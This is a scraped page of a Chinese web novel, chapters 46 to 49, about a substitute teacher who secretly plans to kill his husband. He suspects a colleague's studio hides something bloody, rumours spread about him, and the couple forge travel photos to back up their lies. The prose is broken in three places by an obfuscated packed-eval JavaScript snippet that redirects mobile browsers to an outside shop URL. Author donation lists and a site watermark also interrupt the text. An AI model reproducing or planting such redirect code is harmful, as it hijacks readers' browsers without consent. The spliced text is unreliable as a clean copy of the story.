白唯花了四十分钟陷入羞恼和不高兴,在下一堂课时又做回了自己。今天美术课讲述文艺复兴时期的画作,白唯讲得得心应手,并附赠了许多历史小故事。 就连原本只顾着欣赏白唯颜值的学生们,也开始认真听了起来,甚至做起了笔记。 “老师,你讲得这么好,你是哪所大学毕业的呀?”有学生提问。 “北都大学。”白唯说。 学生们一阵惊呼,又有人问:“老师你是学艺术的吗?” 白唯:“学文学的。我只是恰好对这方面有所了解。你们可以去问问来代数学课的卢老师,事实上他才是这个方面的专家……” 白唯本想给卢森使个绊子,但想到这世上会多出几个文盲,他又把话咽了回去:“算了,还是来问我吧。” “哦哟~~”几十个学生都开始起哄,“好恩爱哦。” 白唯:…… 还好卢森不在这里。面对学生们的起哄,白唯从来都可以漠然处之。但如果卢森在这里,他准会说“猫好,猫不为难狗,猫善良”。 到时候尚未习惯被动物塑的白唯只会想方设法找个壁橱钻进去。 学生们乱七八糟地提了一堆问题,其中就包括白唯之前的职业。白唯对此说得很简短:“去电视台工作过一段时间,后来去写作了。” “老师怎么想到这样做职业规划?” “……”白唯顿了一下“家里安排的。” 学生们的好奇心总是极其旺盛。还好白唯把他们都糊弄了过去。他躲回自己的办公室里喝了口水 不知不觉间他已经在闲暇的时间里越来越多地想到了他。 可就在这时他听见一墙之隔的美术教室里传来了奇怪的声音。 作者有话要说 欠一更太晚了明后天补感谢在2024-07-2116:26:06~2024-07-2319:33:25期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:拾酒1个; 感谢投出地雷的小天使:灰诹3个;花花·安呐2个;好喜欢恶毒美人受、下辈子当海鸥、战斗的白切鸡、KANI1个; 感谢灌溉营养液的小天使:_252瓶;2767431096瓶;小艾59瓶;吃饭吧好人58瓶;野宝宝50瓶;花之约甚、喝点白开水儿48瓶;鹿47瓶;斋斋子40瓶;得想个好记的名字38瓶;你真的太短了、东方八犬异闻、七七30瓶;衣冠百兽、古时月26瓶;一个孤独的腰23瓶;绝绝子、金牌辅助本助、解摧折、dunsgsidbgam、拼搏百天我要上_、偷得浮生半日闲、白框、十五20瓶;龙舟、年年、茶佰15瓶;emmmm14瓶;Ly12瓶;柚子我滴老婆亲亲老婆、有白色围巾的狗11瓶;wennnn、九鹿、韦恩集团天选打工人、知我春秋、暕煦、tony不带水、R酱、熬夜伤身体、童茈、与归、栀夏、郝成绩、阿巴阿巴、祁屿、星星点灯、嗑糖欢乐多、ややなど、阿巴一条魚、你咋啥都赖我呢10瓶;邮筒君、布蕾冰淇淋、木白、拂槛露华9瓶;金芷云7瓶;27774244、苏晓安、向日葵要连根拔起6瓶;闲与、三山落、猫猫控、饮山、鸽十咕、间歇性神经递质发疯实、麻辣王八5瓶;难别.4瓶;如同黑色的河流(v哥、爪爪侠、海枯荣3瓶;墨微雨、究惑久久、啵赞天天见、(ovo)2瓶;○?∨?○、冰冰糖啵啵鱼、喵喵、疏霓、五夏绝配、枕书入林、徐戟文、一块老冰糖、自得其乐、苏禾、睡着了就不困了、一二、士多啤梨、曦月与婵娟、一个斯帕纳、我说不言语云无归处、三年单身换cp成真、悬日、朗、清秋、34590880、程迟、连城阿月、十字、一君、西顾、躺平摆烂、阿酒、老婆我有花苦茶、非生命物质、凤起九州、咕枯、s呀b呀jj、小白杨、好看小说在哪里1瓶; 非常感谢大家对我的支持我会继续努力的! 第 47 章 猫好狗也好 隔壁有什么人在吗? 白唯听见沉闷的拖动麻袋的声音,像是有人在将一袋子沉重的死物往柜子里藏。可他的动作吃力,滞涩,不像是常人能有的动作。 “这所学校里发生的事情和我本来也没有关系。” 白唯本来打算忽略这点异常——然而他想起,旁边,是隆夏的画室。 他看见远处操场上有学生在玩排球。白唯也到操场上。他随手捡起一个排球,从死角将它狠狠投掷到隆家画室的窗户上——就像这是那几个学生不小心做的那样。 “砰!”的一声,窗玻璃碎掉了。 白唯在阴影里等了好一会儿。在探头探脑的学生们看向窗户许久后,破损的玻璃里才出现隆夏的脑袋。他戒备地看着窗外。白唯不需要看他的表情,就知道,这里面一定有鬼。 否则,隆夏早该在第一时间就从窗户里探出头、寻找那个砸破了玻璃的小孩。他分明是心虚,才过了许久,探出脑袋。 白唯就在此刻抱着书走到了学生们和画室玻璃之间。他回身对学生们皱眉道:“这是你们中谁扔出的球?” 一群在颠球的同学你看看我,我看看你。一部分人猛摇脑袋。 白唯:“教室玻璃都被你们砸碎了,你们知不知道这有多危险?” 他在学生们的一片紧张和惭愧中,看了一眼画室内部。画室内黑压压的,隆夏的身体挡住了一切能看进去的缝隙。 他的这份局促和掩盖让白唯感到有些愉悦。接着,白唯若无其事地转身对几个学生说:“算了,都散了吧。下次注意安全。” “谢谢白老师!” “白老师不骂人,白老师真好!” 十几个学生如蒙大赦地跑走了。有几个只是跑到稍微远处,抱着球偷看白唯的脸。白唯被这些学生用感激的目光看着,毫无愧疚。 他不等隆夏开口,转身进入美术楼,而后,他来到隆家画室门口,敲了敲门。 门只被打开了一条缝,隆夏戒备地看着白唯:“你有什么事?” 他这副紧张的样子,与昨天叫“白唯哥”时戒备的样子堪称大相径庭。 “玻璃碎了,我来帮你打扫一下。”白唯说,“你的腿不方便吧?而且,球还在画室里面。” 他 透过缝往里面看:“有砸到什么东西吗?” 晃眼间画室里除了画架之外还有一个冰柜。 “我自己会处理的!不用你管!”隆夏拔高了声音。 他声音打颤白唯知道试探这件事过犹不及。他于是道:“好。窗户的事你记得自己打电话给校工。” 隆夏“砰”地关上门把白唯和他阴暗的眼用一扇紧闭的门隔开。但在那一刻还是有味道从里面透了出来。 血腥气。白唯想。 白唯回到办公室里顺便给学校的清洁工打了个电话。他只等了半个小时就听见了隆夏在门口让清洁工出去的声音。 这下学校里除了他之外 这下学校里除了他之外还有两个清洁工知道隆夏不愿意让别人进入他的画室——而且这已经不是能用注重隐私来解释的程度。窗户玻璃破了他一个残疾人却不让人进来打扫。 这间画室里不是有鬼还能是有什么? 就当他自己是神经质吧。白唯想。他总觉得隆家那么大隆夏这几天却非要到学校的画室里来做事。这件事怎么看都很奇怪。 而且白唯的办公室与这间画室只有一墙之隔。 白唯今天只有一节课要代。在课程结束后他正准备往卢森教室的方向去却在门后看见了学校副校长。 “你讲得很不错啊!而且现在全校师生都对你的评价很高。”他说“他们都说你知识渊博为人也很有礼、很谦逊。虽然乔老师再过一周就要回来……但不知道你有没有兴趣以后也经常给各位同学做个讲座?” “呃……”白唯实在头痛他实在不打算和小镇上的人继续加深牵扯“以后看情况吧。” “哈哈我知道这挺麻烦你的……那下周三怎么样?下周三在你离开之前和大家分享一下可以吗?随便分享一下什么都行。”副校长持续散发着自己的热情“这些学生都非常期待呢。” “他们有那么期待吗?” 白唯头疼。但盛情难却他也只能礼貌地答应下来。然后他就发现他和副校长在不知不觉间已经走到了卢森的教室门口。 “……”面对副校长“我很懂”的目光 ,白唯解释,“这是偶然。 是偶然走到这里的。 副校长:“哈哈,这当然不是偶然。我特意领着你往这边走的,就知道你下班后要过来接老公的。 白唯:…… 为什么全世界都觉得他和卢森很恩爱啊! 有副校长在,白唯也不能掉头就走。他只能特意在卢森的教室外找了个位于视觉盲点的位置,避免引人注意。 但出来上厕所的学生还是发现了他。 “师娘在花坛那边! 学生们课上到一半又开始探头探脑了。白唯压力山大。 还好,只过了三分钟就下课了。 从学生们手里接过坐着轮椅的卢森后,白唯恨不得双手捂住脸颊。卢森深情地看着他:“亲爱的,今天我的左脑和右脑打赌,说你一定会来接我的。 你不是有九个脑子吗?剩下的十六个左和右呢? 可惜学生们在旁边,白唯只能道:“那你的右脑赌什么? 卢森用手指了指自己的右脑:“它说我会出现在你前来接我的路上。 出现在我逃跑的背后是吧。 白唯受不了了。他觉得自己还是赶紧推着卢森走了比较好。在他推着卢森离开时,身后的学生们说:“卢老师、白老师再见! “白老师、卢老师下班快乐! 他们穿行在种满银杏树的校园里。暮春的银杏叶还没来得及变成金黄色,在阳光下是一张张碧绿的小扇子,映着教学楼的白顶红墙,蓝天白云。在这样色彩丰富的一个傍晚,就连天空都变得寂静。 让人无端地觉得,好像能在这里过很多年。 “小猫,他们都很喜欢你。卢森说,“一路上好多学生和你打招呼呢。以后即使我们离开雪山镇了,他们也会记得我们。 那可真是太糟糕了。未来罪犯留下印象可不是什么好事。 白唯本想继续禁止“小猫这个称呼。他手长脚长,从小到大都是高挑的模特身材,到底哪里是小猫了!小猫难道不都腿短短么?但就在这时,有几个学生三五成群地从他们身边跑过。 他们中女的剪着齐刘海,男的剃着寸头。他们穿着校服,乱七八糟地背着书包,向着太阳落山的方向跑去,可他们加速冲过 来,竟然是过来和他们打招呼。 “老师好! “老师明天见! “明天见! 一个女孩回头对他们笑。风吹起她长长的马尾,她露出的牙齿雪白又漂亮。 白唯就在那一刻怔了怔。 “明天见!卢森对他们说。 直到这时白唯才反应过来。由于刚才的一怔,他没来得及和他们说明天见。这些孩子已经消失在街角了。 “别失落,明天和他们说就行了。反正,明天还会再见面的。如果明天见不了,后天也会再见面的。卢森道,“就像我明天也会在你身边一样。明天,后天,大后天。 白唯:…… 那点奇怪的、因那些小孩而在他胸口涌动的感觉,立刻就灰飞烟灭了。 卢森能不能别找到机会就开始扯到他们两个的关系?他们两个只是夫妻关系罢了,哪有这么好。 卢森:“小猫,小猫,小猫,喵喵喵。 “…… 怎么突然开始说怪话了! 白唯终于忍无可忍。他在开车的过程中用手抓住了卢森的嘴:“闭嘴,臭狗。 ……白唯的人生终究还是如此混乱。他因为在马路上单手抓卢森的嘴,又被卢森舔手,把汽车撞到了马路牙子上,又刚好偶遇了路过的女警,被带去顺便做了下笔录。 “好了,下次小心点。名为常潇的女警潇洒道,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101039|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说过你,你最近在白马中学教书是不是?我表妹在中学上学,经常提到你,说你很帅。 白唯感到绝望。他只是想要杀个老公而已,这下他不仅成为了镇上的新万人迷,还在警局这里也挂上名了。 他以后要怎样悄悄地离开这里啊! 或许生活总是不能让人满意的。但在回到家里后,白唯仍然坐回了自己的书桌前。 书桌外,花园里的玫瑰已经生长成型。他深吸了一口气,看着向自己的面前。 所有的打印纸和文档都是空白的。在过去,他告诉所有人他在工作,他很正常,其实这将近一年的时光里,他什么都没有写。 文字是表达情感的工具。一个必须隐匿自己的杀手,是永远没办法写出来东西的。 可今天,他开始打字。 “我分享…… “我想和……分享…… 这些从屏幕上流淌出来的字句是自由的。它们不属于商业范畴,不属于百微。 更不属于他生理学父亲名下的出版社。 书房门紧闭着。卢森知道自己不应该打扰在写作的白唯。所以,他没有开门,只是偷偷地从门底的缝隙里流进来了一点和一只眼睛。他举着一只眼睛,看白唯在做什么。 今晚,他还是很想舔舔白唯。可白唯在工作。白唯的工作不能给他带来什么,还不能陪他,不能让他满足想要亲亲白唯、舔舔白唯的欲望。 要知道,他来雪山镇是为了和白唯过日子的,才不是来当代课老师的。这些学生们学到什么、学不到什么,对他来说都无所谓。 可卢森没有急着满足自己的欲望。他也觉得自己很奇怪。 这一夜,他只是举着一只眼睛,静静地看着白唯,忍耐着自己的一切需要。 …… 白唯在书房里写了大半个晚上,之后顺便就在书房里睡了。临睡前,他想,卢森今天还算有点眼色。他和卢森说今晚别来烦他,卢森就真的没来烦他。 沙发床很大很软,但躺了半小时后,白唯又有点不习惯了。 …… 卢森真的没有来烦他吗? 卢森真的不来烦他吗? “我一定是在担心他有什么阴谋、在背着我干什么。白唯告诉自己。 他闭上眼,终于睡着了。 而属于卢森的流体也悄悄从房间里撤退。几只眼睛顺着门缝又溜了回去。 …… 白唯为了分享报告准备了一晚。可第二天他来到学校,便觉得气氛有些古怪。 进入办公室里时,他看见原本在聊天的两个美术老师立刻各自散开。他们悄悄看着他,不知道刚才在说些什么。 作者有话要说 感谢在2024-07-2319:33:25~2024-07-2419:56:39期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:执光在渊(右咪啃腚版1个; 感谢投出地雷的小天使:江鸟、来自墨水湖、阿又、46284036、山山1个; 感谢灌溉营养液的小天使:闻人。260瓶;AnnieY127瓶;林不远40瓶;初眠30瓶;看什么看嘛26瓶;倾倒一座城、祭时语良人、24466081、江洐沚、某屑花露水的锚、阿又20瓶;uni-阿思14瓶;神芷不清12瓶;墨雪不沾衣、冬瓜洞府、soul、上学什么的不要啊——、凯米、旺仔牛奶赛高、和念、超低空飞行、社恐10瓶;木亓6瓶;TORA、心情不好、间歇性神经递质发疯实、苹果苹果5瓶;拂槛露华、三年单身换cp成真3瓶;亓霭(右位主义至上)、明道若昧、随心2瓶;雪、李呱呱、不爱拽洋文、一块老冰糖、曦月与婵娟、豆豆、花式吃豆、君卿、栗栗栗、(ovo)、冰冰糖啵啵鱼、老婆我有花苦茶、半夜叫喳喳、一君、咕枯、朗、xxdxx、种花兔、凤起九州、小魔术师z9、yee、一个斯帕纳、程迟、等更中、亭台楼榭、658214291瓶; 非常感谢大家对我的支持,我会继续努力的! 第 48 章 睚眦必报 白唯知道,他们讨论的内容一定关于自己。 他检查了一遍自己的座位与柜子,没有任何异常的东西被放进去。 面对不时往自己这边瞟来目光的同事,白唯很镇定。如果说他们是在讨论和自己相关的话题的话,那么迟早有人,会让他知道他们讨论的是什么的。 流言不是水,会被限制在一个水盆里。 白唯唯一要做的,就是做好自己。 果然,在今天第一节美术课下课后,白唯就知道了他们在讨论什么——两个女孩子在下课后磨磨蹭蹭,找到他,以帮他搬东西的名义跟在他身边。 她们的表情却分明写着“想要打听些什么”。 “如果你们有什么想问的问题的话,现在完全可以问了。”白唯说。 一个女孩戳了另一个女孩一下,那个剪着齐刘海的女孩才叽叽咕咕道:“白老师,我听说了好多关于你的传闻!” “他们说你虽然是名校毕业的,但也只剩下名校毕业的这个名头了。事实上,你在大学毕业后找不到本专业的工作,只能去电视台工作了一年多。然后很快就做不下去了,之后就再也没找到工作。说是当作家,也江郎才尽,好久没写出东西了……” “……后来,和人私奔来雪山镇,也只是因为在外面混不下去了。在网上,也有好多人在说你……在代课之前一直是无业……沦落到代课……” “白老师!我完全没相信的,你根本不是那样的人。你比之前所有老师讲得都要好多了!”女孩激动地说,“他们怎么能这样说你和伤害你?” 她们情绪很激烈,几乎要为他哭出来了。白唯却很冷静。 原来他们讨论的就是这些内容。 “唔,你们觉得雪山镇是个很差的地方吗?”白唯柔和地说。 “啊?当然不是,我们这里的景色可优美了,而且所有设施都很发达,什么都有!”一个女孩说,“好多富人都来我们这里养老呢!” 白唯:“那你觉得,白马中学是一所很差的中学,来这里教书是件很差的事情吗?” “当然也不是!” 一切尽在两个问题之中了。白唯拍拍她的肩膀,让她们回去上课。女孩就在这时说:“白老师,你别担心,我们刚才都上网去看 了。他们说的东西一看就是假的! 白唯:“网上的…… “他们甚至说你和卢老师的关系不好,怎么可能,大家都看在眼里呢。女孩忿忿说,“连这种小事情都要造谣。他们说的其他内容,又怎么能相信! “…… 看着女孩离开的背影,白唯思考片刻,决定去周围打听一下。 然后,让他极其难以置信的事情发生了。 “学校里很多人不相信我在网上那些流言的理由……竟然都是我和卢森的关系? 这合理吗?首先在他们眼里,自己和卢森的关系有那么好吗? 万万没想到,自己和卢森的关系竟然先成为了一个辟谣道具……白唯想到这里,觉得心情有些复杂。 但对于其他内容,许多人还是有些将信将疑的,或者至少,这变成了一个突破口,激发了他们对于白唯的讨论欲。他们开始用放大镜来看白唯的一举一动。 而就在这时,卢森出现了。 “白老师,你之前是怎么想到把电视台的工作辞掉的?同办公室的美术老师终于过来,满脸充满窥私欲地打听,“而且听说在那之后你都没有工作,你不觉得很慌吗? “是啊,还是北都大学毕业的,连工作都找不到。健壮男子嘲笑道。 此人是一名体育老师。早从白唯入校第一天,他就对白唯充满了反感。健壮男子总觉得自己十分英俊,应当是所有学生的人生船长。然而,他不仅发现白唯的脸比他帅,还在故意上门和白唯擦肩而过时,绝望地发现白唯个子也比他高。 体育老师认为自己的男儿气概受到了侮辱。同时,其他人对白唯的追捧也让他认为这世间倒反天罡。怎么会有人喜欢白唯这样吹毛求疵、不肯参与他开的黄色玩笑、还总用略鄙夷的眼神看着他的柔弱小白脸。 好吧,白唯比他高。 但今天,他终于找到嘲讽白唯的机会了! “难道会有人想要一直工作吗?我们在过去几年里,可是做了很多事的。 一个声音在众人背后响起。原本镇定自若的白唯就在此刻开始绷紧脊背。 “比如去深海潜水,去雪山上滑雪,在沙漠里高空跳伞,在夕阳下坐热气球,去意大利、俄罗斯、法国游玩 ……这大半年时间我们实在是在外面玩腻了就来雪山镇买了栋房子买了个店铺买了几辆车躺平来研究研究厨艺看看这几年新出的电影电视剧。”卢森说“唉!那段时间忙得啊真是想起来就头疼……” 白唯头皮发麻他心想卢森怎么敢撒谎的。体育老师和美术老师却信了。因为卢森在雪山镇上买房买店铺的确都是真的。 “做那些有什么意义!”体育老师硬着头皮说“这不是浪费钱么?” 卢森:“是啊!不过钱实在是太多了也只能想方设法浪费在扩大生命体验上了。阿唯你说是不是?” 被众人注视着白唯硬着头皮点了点头。 “真羡慕你们!网上那都是些俗人。换成我我也想这么玩儿。”另一个老师感叹了一声转身回自己的位置上去了。 “可你们都不工作啊!你们连个工作都没有……”体育老师涨红了脸梗着脖子道。 卢森若有所思道:“哦你说得对。看来我们什么时候也得开个账号把前些年旅游的东西剪辑一下发网上去。这样的话我们也算是自媒体工作人了。阿唯你说对不对?” 白唯:…… “我们两个人生里的选项实在是太多了。所以我们又能去电视台工作又能去旅行工作还能轻而易举地拖别人拖不了的稿子代别人代不了的课。在未来我们还能做许多别人做不了的事。”卢森道“比如我就觉得开个修车店很好当个民宿老板也很好。兄弟心胸开阔点别整天想要别人活成你们自己的样子。” 卢森说着伸手要拍体育老师的肩膀。体育老师发现卢森坐在轮椅上伸手的样子很滑稽。他正要得意…… 卢森便直接站了起来。 其他人:?? “卢森你的腿……”美术老师控制不住地说她记得卢森才受伤了一个多星期呢。 “已经没问题了。以前我玩太空跳伞时也摔过比这次还严重。可能从那时开始我就获得了超强的恢复能力。”卢森面不改色道并和善地拍了拍体育老师的肩膀。 体育老师却哭了。一方面是因为卢森拍得可真重仿佛他是个要被打的马拉糕。另一方面是因为卢森站在他身边比白唯的个子还要高。 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节) “亲爱的。”卢森顺便一脚把轮椅推开。他看向白唯笑容温和:“我们一起去食堂吃午饭吧?” 白唯温柔微笑:“好的老公。” “啧啧啧。”这回连美术老师都转过来嘲讽其他人了“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101040|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的人听风就是雨的人家的生活可是稳稳的甜。” 其他人更是连因嫉妒使绊子的心都没有了。卢森说得很清楚这两个人不会一辈子都在这里大概率和他们未来也不会有任何利益冲突。他们之前八卦也不过是因为闲得慌。 可卢森有点意外。尽管他自认给白唯在出气可他没想到白唯竟然会表现得如此温柔。白唯一向内敛。难道他今天特别地让白唯高兴? 很快卢森就知道了其中原因。在离开办公室时白唯盯着轮椅和他的腿又看了一眼。那一眼让卢森遍体生寒。 今天一早他以腿还不能走的名义让白唯推他走了大半天来着。 白唯是人类他是怪物。可巨大的卢森竟然在纤细的白唯旁边提心吊胆地走了一路。终于在途经操场时卢森说:“亲爱的你难道不想打我吗?” 牵着卢森的手走在众人的目光里的白唯:…… 白唯的嘴角弧度翘得更高了。他左看右看确定没有人听见卢森刚才的蠢话。接着他说:“我们走这边这条路这条路更快到食堂。” 卢森恍然大悟:“哦我明白了。这条路上有坑你在等我掉进去。” ……这个白痴!白唯承认自己经常把熨斗和高压线掉在卢森的脸上但今天可不是在众人面前内讧的时候! “你如果在路上踩到什么坑里……或者没有井盖的井里然后和我一起脏兮兮地出现在食堂里。”白唯贴在卢森耳边像是情人耳语一样亲密地警告“你就等着子弹吧。” 卢森又一次恍然大悟了:“亲爱的 ——受不了了! 白唯用尽自己全身的素质用尽自己对周围羡慕眼光的所有在意才没有在路过捷径时把卢森推到高压电网上去。此刻他们在风口浪尖白唯只能和他努力扮演一对好夫夫。尽管如此白唯心里还是有点不满。 他在卢森心中的形象什么时候变成了如此睚眦必报的样子?他难道不是 一直表现得都很温柔吗? 他们二人到达时,食堂里已经坐满了人。在这对外表极其登对的夫夫走入大厅后,大半的人都停下了筷子,看着他们。 白唯和卢森各自打了一份小炒坐下。他们坐在远离人群的角落,卢森道:“我敢保证,他们刚才一定都在谈论我们。” 接着,他道:“亲爱的,放出流言的人竟然那么了解你的履历。你说,究竟是谁干的?” 作者有话要说 感谢在2024-07-2419:56:39~2024-07-2520:56:02期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:怎么你了呢、啊榆yu1个; 感谢灌溉营养液的小天使:来自墨水湖25瓶;啊榆yu、随风飘去20瓶;凉朋友13瓶;qnhoiza12瓶;soft的爹11瓶;小眠、维斯达利斯钢琴师、酒曲杜、祈玖、桃桃乌、今天也被创了吗、小兔仔乖乖、溯游蒹葭10瓶;佳佳嘉嘉、silence8瓶;绂杏7瓶;watching_oⅴo、心上秋、肥肉迷路了6瓶;超雄章鱼俏猫咪、总攻大大、金牌辅助本助、47022747、呼噜呼噜胡5瓶;三年单身换cp成真、花下卿3瓶;獭、间歇性神经递质发疯实、希望玺洛和我们都快乐、究惑久久、归宁2瓶;(ovo)、TORA、疏霓、一君、冰冰糖啵啵鱼、曦月与婵娟、小仙桔、一个斯帕纳、xxdxx、○?∨?○、栗栗栗、自得其乐、朗、亭台楼榭、士多啤梨、天心月、连城阿月、s呀b呀jj、凤起九州1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 49 章 配合 白唯喝了一口水:“你觉得呢?” 刚说完这句话白唯就后悔了……他怕卢森给出一个极其离谱的答案,再度引起他的杀心。 “我想,是一个非常希望我们离开学校、又有能力了解我们的人干的。”卢森的回答出人意料,“不是任君尧。如果他想要制造流言的话,早在医院里,我们让他丢面子时他就这样做了。所以,只能是我们来学校后见过的人。” “也就是隆夏和隆春中的一个。” 多么简单的推理。可白唯举着杯子,愣愣地看着卢森。 “怎么了?” “你真聪明。”白唯说。他的意思是卢森能说人话,就已经很聪明了。 卢森却怔了怔。而后,他整理了一下自己的衬衫领口,东看一下附近群众,西看一下附近群众,颇有一副矜持的、“我如今身份不同了”的感觉。 ……那一刻白唯看着他的蠢样子,真想把刚才脱口而出的话收回去。 “隆夏还是隆春?”白唯又问。 “无所谓。一棒子打下去,这家人中没有一个是无辜的……或许除了隆冬。”卢森压低了嗓音说,“亲爱的,这件事就交给我处理吧。” “你打算怎么做?” 卢森:“一棒子打下去。” 白唯:…… “不许进行物理攻击。”白唯警告他,“在我允许你这么做前,你得听我的。” 卢森:“哦……” 看着卢森垂头丧气的脑袋。白唯心里生出了一种古怪的满足感:像是豢养了一只只听从于自己的命令的恶犬的满足感。 尽管为了豢养这条恶犬,他需要付出的,是自己。 只是白唯刚把饭盒放回清洗处,他就迎来了新的问题。 “白唯,卢森,听说你们去圣地亚哥玩过跳伞。”一名物理老师和他们友善地打着招呼,“我侄子下个月要去圣地亚哥旅游,你们有什么推荐的景点吗?” “对哦!你们是从多高的高度跳下来的?”另一个人也询问。 “有照片吗?” 白唯将死亡目光投向卢森,卢森摸了摸脑袋,开始啊哈哈。 …… “假期,请假,各种行程……你要这些做什么?”白唯脸色不善。 卢森把电脑屏幕对向白唯。 “亲爱的,我在P图,我想做出很多我们出去玩过的证据。卢森说,“虽然我们也可以现在出去,补上那些照片。但在之前的对话里,我们说过那些都是我们之前做过的。我尽管几乎无所不能,但还不能穿越时间。 白唯:“…… 真离谱啊! “从北都那时开始编撰,不行么?白唯说。 卢森:“我把从北都那时开始的约会记录,也告诉我们的同事了。而且,活动实在是太多了,时间不够。光是冬天去阿拉斯加看极光,我就说了三次。 白唯彻底地无语了。他说:“可是在黑港城那时,我们根本不认识。 “我们也可以是那时候开始认识的。比如你在路边,捡到了迷路的我。只是那时我们都用着假名……卢森说着说着,坐直了身体。 “我们为什么要用假名??白唯说着,眼眸忽然闪了闪,“难道你以前在做什么危险的事情,或者危险的职业? 卢森:“因为那时我经常从法国逃学回来见你。我不希望我的父母知道,我偷偷出国…… 白唯:…… 真是弱智的理由。但白唯懒得再追问卢森的身世了,谁知道卢森会不会给出更多更弱智的理由来。 毕竟他可是法国间谍啊。 卢森:“而且,这意味这我们可以提前两年进入金婚。亲爱的,你不觉得这非常棒吗? 白唯终于忍不住把书扔到了他的脸上:“金婚是从婚礼那天开始算起的。 说着他忽然想到,他和卢森是私奔的,根本没有婚礼。 “既然没有婚礼,我们可以从初遇的那天算起。卢森诚恳说。 白唯:…… 傍晚本该是看书的好时候。可白唯今晚不得不为了卢森的谎言,坐在这里和他一起圆谎,制造他们曾经相爱、并走遍世界的假证。 世界上怎么会有这么荒唐的事? “所以,你是2025年5月毕业的…… “嗯。 “2025年6月去工作。在那之前的半个月,你回了老家,没有人能证明你当时去了哪里。 “嗯。 “有毕业照么? “相册里有。” 卢森翻开那本厚厚的相册。照片里,白唯穿着黑色礼服。他冷着一张脸,比任何时候看起来都要更生人勿近。 他的手指在白唯尖尖的下巴上摩挲。 “你看到了?”白唯原本有些不耐烦,但看见卢森摸照片上的他的脸后,他有种脊背发凉的感觉。 卢森的这个动作看起来比变/态色/情狂还可怕。 “亲爱的,你那时候长得好嫩。”卢森说。 ……更变/态了! 白唯的脸变臭了一点。他收起双腿,往旁边挪了挪。卢森却像是没看到他动作似的,继续往下翻。 “怎么只有这几张,没有和其他人的合照?” “我不喜欢和人合照。”白唯冷冷地说。 卢森心里生出微妙的高兴和庆幸。还好,他不是人。 “2025年6月底,抵达黑港城,是个阳光灿烂的夏日,正好也是卢森的暑假……我们就在这时候认识吧?你觉得好么?”卢森说,“这样,就能凑上我们和其他人说的,我们的第一次游轮旅行。” “行。”白唯说。 “我们在游轮上相识,最开始却没有见过面。直到游轮行驶到一个港口,我们去沙滩上玩,我在沙滩上缺水搁浅……” 白唯:“你怎么会在沙滩上缺水搁浅??” 卢森:“我在海里潜水,玩了太久……” “任何一个普通人都能听出你编造的故事有问题。”白唯拒绝。 “那就游轮旅行结束后,我去海上冲浪,掉进海里,被海浪推到沙滩上,缺水搁浅……” 你这是什么奇幻漂流么?为什么一定要缺水搁浅?白唯无语。他说:“算了,用第一个。” 随他吧,反正丢的也是卢森自己的脸。 “好。你把我救了起来,给我喝水,细心地照顾我,我们就从那时开始,谈了第一场恋爱。”卢森说,“我告诉你我叫文森,你也只说你姓白。” “……”白唯坐在椅子上,看他编。 “这张照片是你刚到黑港城时照的么?”卢森又说。 照片上,白唯穿着浅蓝条纹衬衫,戴着工牌,站在黑港城电视台大楼前,气质依旧冷淡。 “刚入职时,同事帮我照的。 ” “你为什么会想到要去黑港城工作呢?”卢森说。 因为祖父的要求。白唯想。 “祖父希望我在北都的电视台工作,专业,稳定,高尚。他为我安排了人脉,但我在入职后的第一个月,就申请被调配去黑港城。”白唯说,“我给出的理由是,黑港城危机四伏,很有新闻价值。电视台内部的人也都知道,只要能在黑港城干过三年,就能攒够功劳,回来后就能平步青云,步步高升。” “真实的理由是什么呢?”卢森追问。 “真实的理由……”白唯盯着墙壁,“小时候,我和我的母亲,在黑港城居住过几年。” 卢森说,他询问这些内容,是为了编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101041|130484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造他和白唯的过去,以应付他向同事们编出的谎言。 可白唯忽然有一种感觉:卢森真实的目的,是想要了解他的过去,顺便想方设法地,要把他填入他过去的空缺里。 “你们为什么在黑港城居住?” 白唯忽然恼火起来。他有了种私人领地被人侵/犯的不适。 “这和你有什么关系?”他质问,“下一个问题。” “好吧,我只是想了解你……” “下一个!” “好吧。”卢森摸了摸鼻子,“你在黑港城那一年半过得怎么样?有双休日么?每年年假去哪里?” 这又是一个让白唯有些刺痛的话题。白唯在黑港城没什么朋友,也没什么交友的想法。 所有的双休日,他往往去图书馆,或者美术馆,偶尔在街上逛逛,观察这个已经变得让他陌生的、曾经在幼时居住过的城市。 